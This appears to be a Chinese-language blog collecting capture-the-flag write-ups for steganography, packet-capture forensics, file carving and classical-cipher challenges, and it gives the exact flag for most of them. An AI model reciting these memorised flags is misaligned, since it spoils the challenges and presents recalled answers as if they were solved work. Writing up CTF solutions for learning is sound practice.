1 | d4e8e1f4a0f7e1f3a0e6e1f3f4a1a0d4e8e5a0e6ece1e7a0e9f3baa0c4c4c3d4c6fbb9e1e6b3e3b9e4b3b7b7e2b6b1e4b2b6b9e2b1b1b3b3b7e6b3b3b0e3b9b3b5e6fd |
HEX解码失败
两两分开转10进制
1 | 212 232 225 244 160 247 225 243 160 230 225 243 244 161 160 212 232 229 160 230 236 225 231 160 233 243 186 160 196 196 195 212 198 251 185 225 230 179 227 185 228 179 183 183 226 182 177 228 178 182 185 226 177 177 179 179 183 230 179 179 176 227 185 179 181 230 253 |
发现比正常的字符的ascii码范围多了128
1 | 84 104 97 116 32 119 97 115 32 102 97 115 116 33 32 84 104 101 32 102 108 97 103 32 105 115 58 32 68 68 67 84 70 123 57 97 102 51 99 57 100 51 55 55 98 54 49 100 50 54 57 98 49 49 51 51 55 102 51 51 48 99 57 51 53 102 125 |
转ascii码得到flag
1 | That was fast! The flag is: DDCTF{9af3c9d377b61d269b11337f330c935f} |
low/世安杯(2)
stegsolve
打开看到,说明存在LSB隐写
有一个方法是用画图工具打开图片后另存为png
文件,然后stegsolve
打开并切换到Red plane 0
通道,可以看到二维码
扫码得到flag
flag{139711e8e9ed545e}
神奇的Modbus/XCTF(2)
wireshark
打开流量包,搜索分组字节流sctf
,发现
1 | sctf{Easy_Mdbus} |
但是作为flag输入错误,看题目,flag竟然是
sctf{Easy_Modbus}
小小的PDF/CTF(2)
binwalk一下
dd分离一下
得到flag
SYC{so_so_so_easy}
Cephalopod/XCTF(2)
分组字节流搜索flag
这里需要使用工具tcpxtract
1 | tcpxtract -f 434c8c0ba659476caa9635b97f95600c.pcap |
分离得到两张图片,其中一张包含flag
HITB{95700d8aefdc1648b90a92f3a8460a2c}
Excaliflag/CTF(2)
stegsolve
打开,切换Gray bits
,就能看到flag
3DS{Gr4b_Only_th1s_B1ts}
4-2/WDCTF(2)
1 | Eg qnlyjtcnzydl z umaujejmjetg qeydsn eu z bsjdtx tw sgqtxegc al kdeqd mgeju tw yrzegjsoj zns nsyrzqsx kejd qeydsnjsoj |
这里用到了字频分析
flag{classical-cipher_is_not_security_hs}
easycap/CTF(2)
wireshark
追踪tcp
流
1 | FLAG:385b87afc8671dee07550290d16a8071 |
我以为flag格式是flag{}
,结果flag
就是
FLAG:385b87afc8671dee07550290d16a8071
stage1/XCTF(2)
stegsolve
打开后切换Gray bits
通道
扫描得到
1 | 03F30D0AB6266A576300000000000000000100000040000000730D0000006400008400005A00006401005328020000006300000000030000000800000043000000734E0000006401006402006403006404006405006406006405006407006708007D00006408007D0100781E007C0000445D16007D02007C01007400007C0200830100377D0100712B00577C010047486400005328090000004E6941000000696C000000697000000069680000006961000000694C0000006962000000740000000028010000007403000000636872280300000074030000007374727404000000666C6167740100000069280000000028000000007307000000746573742E7079520300000001000000730A00000000011E0106010D0114014E280100000052030000002800000000280000000028000000007307000000746573742E707974080000003C6D6F64756C653E010000007300000000 |
我以为要HEX解码,没想到要变成十六进制文件
可以看到有pyt
的字眼
将该文件保存为pyc
文件后,使用uncompyle
反编译
1 | uncompyle6 1.pyc >1.py |
得到python2代码
1 | def flag(): |
运行得到AlphaLab
,而且flag
就是
AlphaLab
Miscellaneous-200/CTF(2)
打开是一堆255
这是RGB三原色的数值
1 | from ast import literal_eval |
跑一下大佬的代码,得到flag.png
1 | flag{ youc@n'tseeme } |
Hear-with-your-Eyes/CTF(2)
题目描述:用眼睛听这段音频
用Audacity
打开音频,切换多视图
1 | flag:e5353bb7b57578bd4da1c898a8e2d767 |
e5353bb7b57578bd4da1c898a8e2d767
Hidden-Message/CTF(2)
wireshark
追踪UDP
流
1 | In contrast to classicas is a slightly looser term which may refer tor to 20th and 21st century physics in general and so always includes quantum theory and may assical level is a physical system in which thsics are valid There are application of classiassical physics is the and molecules on upwards including the macrosrealm Inside the atom a and generally do not provide a correct descrimagnetic radiation is sect descriptions since quantum effects are obsy circumstances than qu Unlike quantum physicsby the principle of comechanics is in a sense deterministic |
1 | l physics modern physic just quantum physics oinclude relativity |
好像并没有什么用
可以看到info是01相间的
1 | 10110111100110101001011010001100100110101001000110011101100110101000110110011000 |
这里要转换一下
1 | 01001000011001010110100101110011011001010110111001100010011001010111001001100111 |
转ascii,得到flag
1 | Heisenberg |
Recover-Deleted-File/CTF(2)
先用file命令看一下文件类型
然后用fls
命令查看文件操作记录
1 | fls disk-image |
发现flag被删除,用extundelete
工具恢复
1 | extundelete disk-image --restore-all |
恢复后有一个flag文件
cat查看发现可能是二进制文件
执行发现没权限
得到flag
1 | de6838252f95d3b9e803b28df33b4baa |
What-is-this/CTF(2)
stegsolve
把两张图片image combiner
一下,得到flag
1 | AZADI TOWER |
很普通的数独/ISCC(2)
25张图片,二十五个数独,应该不用全解开吧?
不过闲的无聊也可以试试
Become_a_Rockstar/NJUPT-CTF(2)
CTFHUB
MYSQL流量
在wireshark
里打开附件,选择分组详情搜索字符串CTFHUB
(因为该平台所有flag都是以该字符串开头)
然后就能得到flag
ctfhub{mysql_is_S0_E4sy}
Redis流量
这一题也是把附件在wireshark
中打开,在分组字节流里搜索字符串CTFHUB
,得到以下结果
1 | Fl4g1 |
可以看到flag
并不完整,只有左边大括号,而且标注了Fl4g1
尝试搜索fl4g2
搜不到结果,搜索flag
得到结果
1 | flag2 |
把二者拼起来就能得到flag
ctfhub{6051d6123de43dfad7609804925c0121}
MongoDB流量
分组字节流搜索字符串CTFHUB
或者flag
,在众多结果中的某一个里面记录了flag
ctfhub{5f284ecc279d2cbd1af258bb53c7a5f6}
ICMP-Data
观察了一下数据包,发现多个包的字节流的唯一区别是中间的字符
而查看多个之后发现前几个拼起来恰好是ctfhub
,所以猜测把全部拼起来就是flag
ctfhub{c87eb99796406ac0b}
ICMP-Length
题目提示ping包的大小有些奇怪
,所以应该和长度有关系
把每个reply包
的长度记录一下
1 | 99 116 102 104 117 98 123 97 99 98 54 53 57 102 48 50 51 125 |
把10进制转ascii码,可以得到flag
ctfhub{acb659f023}
ICMP-LengthBinary
发现ICMP包的长度不是74就是106,记录一下
1 | 74的ascii是J,106是j |
1 | 10011100 10001011 10011001 10010111 10001010 10011101 10000100 11001111 11001011 10011010 10011001 10011010 10011011 11001110 10011010 11001111 11001010 10000010 |
这里弄反了,74是0,106是1,最后把二进制转ascii码就能得到flag
ctfhub{04efed1e05}